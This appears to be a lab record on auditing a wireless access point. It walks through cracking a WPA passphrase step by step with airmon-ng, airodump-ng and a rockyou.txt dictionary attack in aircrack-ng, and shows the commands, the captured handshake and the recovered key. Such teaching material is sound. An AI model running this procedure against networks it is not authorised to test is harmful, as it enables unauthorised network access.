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WIRELESS AUDIT

Aim:

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kali Linux OS.

Algorithm:

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

Output:

```
root@kali:~# iwconfig eth0
no wireless extensions.
```

```
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
lo no wireless extensions.
```

```
root@kali:~# iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 14:F6:5A:F4:57:22 Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=70/70 Signal level=-27 dBm
Encryption key:on
ESSID:"BENEDICT"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
```

Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
 Extra:tsf=00000000425b0a37
 Extra: Last beacon: 548ms ago
 IE: WPA Version 1
 Group Cipher : TKIP
 Pairwise Ciphers (2) : CCMP TKIP
 Authentication Suites (1) : PSK

root@kali:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name
 1148 NetworkManager
 1324 wpa_supplicant

PHY Interface	Driver	Chipset
phy0 wlan0	ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

Newly created monitor mode interface wlan0mon is ***NOT*** in monitor mode.
 Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

root@kali:~# airmon-ng check kill

Killing these processes: PID Name
 1324 wpa_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface	Driver	Chipset
phy0 wlan0	ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

(mac80211 **monitor mode** vif enabled for [phy0]wlan0 on [phy0]**wlan0mon**)
 (mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon

CH 6][Elapsed: 5 mins][2016-10-05 01:35][**WPA handshake:**

14:F6:5A:F4:57:

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER
AUTH E 14:F6:5A:F4:57:22	-31	100	3104	10036 0 6	54e.			

WPA CCMP PSK B

BSSID	STATION	PWR	Rate	Lost
Frames Probe 14:F6:5A:F4:57:22				
70:05:14:A3:7E:3E	-32	2e-	0	0
				10836

```
root@kali:~# ls -l
total 10348
-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap
-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv
-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv
-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml
```

```
root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt
[00:00:52] 84564 keys tested (1648.11 k/s)
```

KEY FOUND! [rec12345]

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14
77 49 A9 7A A0 2D 9F BB 2B C3 8D 26 D2
33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF
81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CAA0 70 EC 02 1B EA 5F
7A DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

Result:

Thus, the wireless auditing and decrypting of WPA keys has been done successfully.